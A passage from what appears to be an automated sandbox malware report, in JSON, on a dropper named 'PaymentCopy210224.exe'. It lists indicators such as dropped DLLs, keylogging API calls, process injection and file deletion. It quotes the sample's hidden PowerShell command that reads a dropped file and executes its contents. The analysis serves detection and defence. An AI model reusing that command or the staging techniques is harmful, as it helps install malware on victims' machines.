\"00000000-00005648.00000000.66705.10002000.00000002.mdmp\")\n Found reference to API \"InitializeSecurityDescriptor\" (Indicator: \"InitializeSecurityDescriptor\"; Source: \"00000000-00005648.00000000.66705.10002000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"Observed import api \"InitializeSecurityDescriptor\" which can \"Initializes a new security descriptor\" [Source: nsExec.dll]\n Observed import api \"SetSecurityDescriptorDacl\" which can \"Sets information in a discretionary access control list (DACL)\" [Source: nsExec.dll]","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"PaymentCopy210224.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$3b","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"System Security","name":"Queries the display settings of system associated file extensions","description":"\"powershell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.LNK\"; Key: \"ALWAYSSHOWEXT\")","origin":"Registry Access","mitre_attack_id":"T1005","relevance":7,"id":"registry-47","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"\"nsExec.dll\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"- Location: [%TEMP%\\nsl97DC.tmp\\nsExec.dll]- [targetUID: 00000000-00005244]\n \"nsCCE1.tmp\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"- Location: [%TEMP%\\nsl97DC.tmp\\nsCCE1.tmp]- [targetUID: 00000000-00005244]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"$3c","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"PaymentCopy210224.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Uses powershell with a windows hidden commandline param","description":"Process \"powershell.exe\" with commandline \"-windowstyle hidden $tools7 = cat '%LOCALAPPDATA%\\\\fcp\\\\tartuffery\\\\appelinstans\\\\Insected\\\\Bnskraft\\\\Kenotafium\\\\Usquabaes\\\\Androidal.Sub' ; powershell.exe \"$tools7\"powershell.exe -windowstyle hidden $tools7 = cat '%LOCALAPPDATA%\\\\fcp\\\\tartuffery\\\\appelinstans\\\\Insected\\\\Bnskraft\\\\Kenotafium\\\\Usquabaes\\\\Androidal.Sub' ; powershell.exe \"$tools7\"\" (UID: 00000000-00005476)","origin":"Monitored Target","mitre_attack_id":"T1564.003","relevance":7,"id":"target-114","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".rsrc with unusual entropies 7.19727313827","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":3,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Dropped file has high entropy (likely encrypted/compressed content)","description":"Dropped file \"%LOCALAPPDATA%\\fcp\\tartuffery\\appelinstans\\Citronsommerfuglene\\Vaabenbesiddelse\\Fdselsoverskuddet246\\Homoseksualisme\\Fremlejet.Kle\" has high entropy 7.737013145669369","origin":"Binary File","mitre_attack_id":"T1027","relevance":5,"id":"binary-60","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"}]},{"level":"suspicious","category":"General","name":"Executes powershell with commandline","description":"Process \"powershell.exe\" with commandline \"-windowstyle hidden $tools7 = cat '%LOCALAPPDATA%\\\\fcp\\\\tartuffery\\\\appelinstans\\\\Insected\\\\Bnskraft\\\\Kenotafium\\\\Usquabaes\\\\Androidal.Sub' ; powershell.exe \"$tools7\"powershell.exe -windowstyle hidden $tools7 = cat '%LOCALAPPDATA%\\\\fcp\\\\tartuffery\\\\appelinstans\\\\Insected\\\\Bnskraft\\\\Kenotafium\\\\Usquabaes\\\\Androidal.Sub' ; powershell.exe \"$tools7\"\" (UID: 00000000-00005476)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":5,"id":"target-110","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"}]},{"level":"suspicious","category":"General","name":"PE file has unusual entropy resources","description":"\"Payment Copy 210224.exe\" has resource with unusual entropy \"RT_ICON:7.95867218085\"\n \"Payment Copy 210224.exe\" has resource with unusual entropy \"RT_ICON:7.94861369543\"\n \"Payment Copy 210224.exe\" has resource with unusual entropy \"RT_ICON:7.90611787185\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":5,"id":"static-92","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"PaymentCopy210224.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"PaymentCopy210224.exe\" reads file \"C:\\Windows\\Resources\\0409\\Privatist.ini\"\n \"PaymentCopy210224.exe\" reads file \"C:\\Users\\desktop.ini\"\n \"PaymentCopy210224.exe\" reads file \"C:\\Program Files\\desktop.ini\"\n \"PaymentCopy210224.exe\" reads file \"C:\\Users\\%OSUSER%\\Documents\\desktop.ini\"\n \"PaymentCopy210224.exe\" reads file \"C:\\Users\\Public\\desktop.ini\"\n \"PaymentCopy210224.exe\" reads file \"C:\\Users\\Public\\Documents\\desktop.ini\"\n \"PaymentCopy210224.exe\" reads file \"C:\\Program Files\\Common Files\\precautious.ini\"\n \"PaymentCopy210224.exe\" reads file \"C:\\Users\\Public\\Pictures\\desktop.ini\"\n \"PaymentCopy210224.exe\" reads file \"C:\\ProgramData\\Microsoft\\Windows\\Templates\\ligeliges.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"nsExec.dll\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"- Location: [%TEMP%\\nsl97DC.tmp\\nsExec.dll]- [targetUID: 00000000-00005244]\n \"nsCCE1.tmp\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"- Location: [%TEMP%\\nsl97DC.tmp\\nsCCE1.tmp]- [targetUID: 00000000-00005244]","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"\"PaymentCopy210224.exe\" wrote 6656 bytes starting with PE header signature to file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsl97DC.tmp\\nsExec.dll\": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...\n \"PaymentCopy210224.exe\" wrote 6656 bytes starting with PE header signature to file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsl97DC.tmp\\nsCCE1.tmp\": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used for keylogging","description":"\"PaymentCopy210224.exe\" called \"GetAsyncKeyState\" with parameters {\"vKey\": \"27\"}","origin":"API Call","mitre_attack_id":"T1056.001","relevance":10,"id":"api-40","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"PaymentCopy210224.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsq9230.tmp\" for deletion\n \"PaymentCopy210224.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsl97DC.tmp\" for deletion\n \"PaymentCopy210224.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsl97DC.tmp\\nsCCE1.tmp\" for deletion\n \"PaymentCopy210224.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsl97DC.tmp\\nsExec.dll\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms~RFfd825.TMP\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$3d","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"suspicious","category":"System Security","name":"Writes registry keys","description":"$3e","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"RegDeleteKeyA\n RegCloseKey\n OpenProcessToken\n RegDeleteValueA\n RegCreateKeyExA\n RegOpenKeyExA\n RegEnumKeyA\n GetFileAttributesA\n CopyFileA\n GetModuleFileNameA\n LoadLibraryExA\n GetFileSize\n CreateDirectoryA\n DeleteFileA\n GetCommandLineA\n GetProcAddress\n GetTempPathA\n CreateThread\n GetModuleHandleA\n FindFirstFileA\n WriteFile\n GetTempFileNameA\n FindNextFileA\n GetSystemDirectoryA\n CreateProcessA\n Sleep\n CreateFileA\n GetTickCount\n ShellExecuteExA\n FindWindowExA\n SetSecurityDescriptorDacl\n MapViewOfFile\n GetStartupInfoA\n CreateFileMappingA\n TerminateProcess","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_90% (D)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"PaymentCopy210224.exe\" wrote 32 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsl97DC.tmp\\nsCCE1.tmp\" (Handle: 508)\n \"PaymentCopy210224.exe\" wrote 52 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsl97DC.tmp\\nsCCE1.tmp\" (Handle: 508)\n \"PaymentCopy210224.exe\" wrote 4 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsl97DC.tmp\\nsCCE1.tmp\" (Handle: 508)\n \"nsCCE1.tmp\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 80)\n \"nsCCE1.tmp\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 80)\n \"nsCCE1.tmp\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 80)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$3f","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"\"powershell.exe\" queried SystemProcessInformation at 00000000-00005976-00000105-2839090 [PID: 5976]\n \"powershell.exe\" queried SystemProcessInformation at 00000000-00005976-00000105-3106092 [PID: 5976]\n \"powershell.exe\" queried SystemProcessInformation at 00000000-00005976-00000105-4361078 [PID: 5976]\n \"powershell.exe\" queried SystemProcessInformation at 00000000-00003820-00000105-4783364 [PID: 3820]\n \"powershell.exe\" queried SystemProcessInformation at 00000000-00003820-00000105-6892613 [PID: 3820]\n \"powershell.exe\" queried SystemProcessInformation at 00000000-00003820-00000105-9352611 [PID: 3820]\n \"powershell.exe\" queried SystemProcessInformation at 00000000-00003820-00000105-13046201 [PID: 3820]","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\Windows\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00003168.00000000.89398.002C0000.00000004.mdmp, 00000000-00003168.00000001.90100.0030A000.00000004.mdmp\")\n Found string \":\\Windows\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00005812.00000000.84117.00240000.00000004.mdmp, 00000000-00005812.00000001.86040.00240000.00000004.mdmp, 00000000-00005812.00000002.87960.00240000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$40","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005976-00000C2C-331675718\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005976-00000C2C-333088911\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005976-00000C2C-331675718\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005976-00000C2C-333088911\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Environment Awareness","name":"Able to list processes on remote desktop session host","description":"Found reference to API \"ProcessIdToSessionId\" (Indicator: \"ProcessIdToSessionId\"; Source: \"00000000-00005976-00000C2C-332858351\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-906","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00005976-00000C2C-331048333\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00005976-00000C2C-331050048\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00005976-00000C2C-333169146\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00005976-00000C2C-333169242\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00003168.00000000.89398.00091000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve file and directory information","description":"file/memory contains long string(File: \"ModuleAnalysisCache\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-726","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00005812)\n \"27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2.exe\" called \"GetSystemMetrics\" with parameters (UID: 00000000-00005812)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00005812)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name %OSUSER% (UID: 00000000-00005976)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name %OSUSER% (UID: 00000000-00003820)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00003168.00000000.89398.00091000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Environment Awareness","name":"Possible DLL sideloading","description":"Possible dll side loading: %TEMP%\\NSN1F4.TMP\\NSEXEC.DLL","origin":"Indicator Combinations","mitre_attack_id":"T1574.001","relevance":5,"id":"summary-47","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$41","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Able to retrieve command line parameters of the running process","description":"file/memory contains long string(File: \"DISMHOST.EXE.6A855315.bin\")\n file/memory contains long string(File: \"ns278E.tmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-930","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00003168.00000000.89398.00091000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00003168.00000000.89398.00091000.00000020.mdmp\")\n Found reference to API \"FindResourceExW\" (Indicator: \"FindResource\"; Source: \"00000000-00003168.00000000.89398.00091000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"Manzanilla.lnk\" as clean (type is \"MS Windows shortcut Item id list present Has Relative path Unicoded KnownFolderID 7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E length=0 window=normal IDListSize 0x015f Root folder \"20D04FE0-3AEA-1069-A2D8-08002B30309D\" Volume \"C:\\\"\")\n Antivirus vendors marked dropped file \"DISMHOST.EXE.6A855315.bin\" as clean (type is \"PE32 executable for MS Windows 5.01 (GUI) Intel i386 4 sections\"), Antivirus vendors marked dropped file \"nsExec.dll\" as clean (type is \"PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"General","name":"Executes PowerShell with command line","description":"$42","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-486","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.134315796939260568.5976.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134315796990584659.3820.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$43","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"General","name":"Loads Windows LDAP client module","description":"\"27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at 76C30000","origin":"Loaded Module","mitre_attack_id":"T1069.002","relevance":3,"id":"module-17","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 64960000\n \"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 65110000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"ns278E.tmp\" (UID: 00000000-00006024) was launched with new environment variables: \"USERDNSDOMAIN=\"%OSUSER%-PC\"\"\n Process \"ns278E.tmp\" (UID: 00000000-00006024) was launched with modified environment variables: \"NUMBER_OF_PROCESSORS\"\n Process \"powershell.exe\" (UID: 00000000-00003820) was launched with modified environment variables: \"PSModulePath, PATHEXT\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"References Windows LDAP client module","description":"Found string \":\\Windows\\system32\\WLDAP32.dll\" (Source: \"00000000-00005812.00000000.84117.00240000.00000004.mdmp, 00000000-00005812.00000001.86040.00240000.00000004.mdmp, 00000000-00005812.00000002.87960.00240000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1069.002","relevance":1,"id":"string-987","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$44","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Installation/Persistence","name":"Potential hijacking of DLL execution flow detected","description":"\"nsExec.dll\" has type \"PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections\"- Location: [%TEMP%\\nsn1F4.tmp\\nsExec.dll]- [targetUID: 00000000-00005812]","origin":"Binary File","mitre_attack_id":"T1574.001","relevance":5,"id":"binary-91","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"powershell.exe\" queries basic process information of the \"C:\\Users\\HAPUBWS\\AppData\\Local\\fcp\\tartuffery\\appelinstans\\Citronsommerfuglene\\Vaabenbesiddelse\\Fdselsoverskuddet246\\Homoseksualisme\\Fremlejet.Kle\" (UID: 3820)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to register an interface (RPC)","description":"\"powershell.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00005976)\n \"powershell.exe\" called 